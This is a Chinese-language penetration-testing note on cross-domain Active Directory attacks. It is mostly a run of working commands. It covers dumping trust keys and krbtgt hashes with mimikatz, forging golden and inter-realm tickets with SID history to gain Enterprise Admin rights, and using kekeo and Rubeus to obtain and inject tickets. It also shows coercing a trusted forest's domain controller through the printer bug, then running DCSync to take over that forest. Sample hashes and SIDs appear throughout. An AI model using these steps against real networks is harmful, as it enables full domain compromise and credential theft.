內網滲透-跨域攻擊
- 2020 年 5 月 28 日
- 筆記
一、 獲取域資訊
在域中,EnterPrise Admins組(僅出現在在林的根域中)的成員具有對目錄林中的所有域的完全控制許可權。在默認情況下該組包含所有域控制器上具有Administrators許可權的用戶。
1.查看sales域內電腦當前許可權
2.查看payload域內電腦當前許可權
二、 利用域信任密鑰獲取目標域的許可權
查看域內信任關係
nltest /domain_trusts
父域的域控制器:win-dc.payload.com
子域的域控制器:win-dc01.selas.payload.com
子域內的電腦:win-test.selas.payload.com
子域內的普通用戶:selas\test
使用mimikatz在域控制器中導出並偽造信任密鑰,使用kekeo請求訪問目標域中目標服務的TGS票據。使用這兩個工具便可以創建具有sidHistory的票據,對目標域進行安全測試。
在子域win-dc01.selas.payload.com中使用mimikatz獲取需要的資訊。
mimikatz.exe privilege::debug “lsadump::lsa /patch /user:tset$” “lsadump::trust /patch” exit
Domain : SELAS / S-1-5-21-3286823404-654603728-2254694439
Current domain: SELAS.PAYLOAD.COM (SELAS / S-1-5-21-3286823404-654603728-2254694439) # 當前域SID
Domain: PAYLOAD.COM (PAYLOAD / S-1-5-21-1150252187-1650404275-3011793806)
[ In ] SELAS.PAYLOAD.COM -> PAYLOAD.COM # 目標域SID
* aes256_hmac 23bdaeea3fbcc0c487ae2a0c81d252850b5248a54d82c1b6ee45e499382eabee
* aes128_hmac 3efae96e5603cee7a2e7fc0c1b7d2d4b
* rc4_hmac_nt f430c584462c52bc2291fea8705031c5 # 信任密鑰
獲取資訊後,在域內電腦(win-test.selas.payload.com)中使用普通用戶(selas\test)許可權執行如下命令創建信任票據。
mimikatz “kerberos::golden /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /rc4:f430c584462c52bc2291fea8705031c5 /user:DarthVader /service:krbtgt /target:payload.com /ticket:payload.kiribi” exit
domian:指定當前域名
sid:當前域SID
sids:目標域SID(519,表示創建的用戶屬於目標域的管理員組)
rc4:指定信任密鑰
user:指定偽造的用戶名
service:指定要訪問的服務
target:指定目標域名
ticket:指定保存票據的文件名
利用剛剛創建的payload.kiribi的信任票據獲取目標域中目標服務的TGS並保存到文件中。
Asktgs payload.kiribi CIFS/WIN-DC.payload.com
然後將獲取的TGS票據注入記憶體
kiribikator lsa CIFS.win-dc.payload.com.kiribi
最後輸入如下命令,訪問目標服務
dir \\win-dc\c$
三、 利用krbtgt散列值獲取目標域的許可權
使用mimikatz可以在構建黃金票據時設置sidHistory。因此,如果獲取了任意域的krbtgt散列值,就可以利用SidHistory獲得該林的完整許可權。
首先使用powerview在域內電腦(win-test.selas.payload.com)中使用普通用戶selas\test許可權獲取當前域和目標域的SID,獲取域用戶SID的常用命令有「wmic useraccount get name,sid」 “whoami 、user” 「adfind.exe -sc u:test|findstr sid」 “powerview”等。
.\powerview.ps1
Get-DomainTrust API
當前域SID : S-1-5-21-3286823404-654603728-2254694439
目標域SID : S-1-5-21-1150252187-1650404275-3011793806
在域控制上使用mimikatz獲取krbtgt散列值。
mimikatz privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exit
或者
sekurlsa::krbtgt
NTLM : ffc79c6f14bb2c39e6ceab183cefc9c5
rc4_hmac_nt : ffc79c6f14bb2c39e6ceab183cefc9c5
在子域內的電腦上(win-test.selas.payload.com)上使用普通用戶許可權(selas\test)構造並注入黃金票據,獲取目標域的許可權。
mimikatz “kerberos::golden /user:administrator /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /krbtgt:ffc79c6f14bb2c39e6ceab183cefc9c5 /ptt” exit
ptt:表示票據注入記憶體
訪問目標服務
dir \\win-dc.payload.com\c$
四、外部信任和林信任
1.利用信任關係獲取信任域的資訊
因為外部信任和林信任中存在SID過濾機制,所以無法利用SID History獲取許可權。
使用adfind工具獲取信任域的完整資訊例如獲取administrator用戶的詳細資訊如下:
輸入如下命令,導出全部用戶資訊
adfind -h payload.com -sc u:administrator
通過對比目標域和當前域的用戶列表,找出同時加入這兩個域的用戶。
2.使用powerview定位敏感用戶
執行如下命令,列出目標域用戶組中的外部用戶
.\powerview.ps1
Get-DomainForeignGroupMember -Domain payload.com
五、利用無約束委派和MS-RPRN獲取信任林許可權
如果攻擊者已經獲取了域林中某個域控制器的許可權,或者配置了無約束委派的任何伺服器的許可權,就可以使用MS-RPRN,使信任林的域控制器向已被控的伺服器發送身份認證請求,利用捕獲的票據獲取信任林內任意用戶的散列值。
首先,在dc.a.com上使用rubeus工具,監控身份認證請求,interval參數用於設置監控的時間間隔,單位為秒;filteruser用於指定滲透測試中需要關注的用戶。
rubeus.exe monitor /interval:5 /filteruser:BDC$
開啟監聽後,在命令行環境下執行如下命令,使用SpoolSample工具讓目標域控制器bcd.b.com向dc.a.com發送身份認證請求。
SpoolSample.exe bdc.b.com dc.a.com
此時,rubeus會捕獲來自bdc.b.com的認證請求,保存其中的TGT數據。
清除TGT數據文件中多餘的換行符,然後使用rubeus工具將票據注入記憶體。
Rubeus.exe ptt /ticket:<TGT 數據>
使用mimikatz獲取目標域的krbtgt散列值。使用mimikatz的dcsync功能,模擬域控制器向目標域控制器發送請求(獲取賬戶密碼)
mimikatz “lsadump::dcsync /domain:b.com /user:b\krbtgt” exit
構造黃金票據並將其注入記憶體,獲取目標域控制器的許可權。
mimikatz “kerberos::golden /user:administrator /domain:b.com /sid: /rc4: /ptt” exit
最後訪問目標服務
dir \\bdc.com\c$
rubeus使用參考://www.anquanke.com/post/id/161781
無約束委派: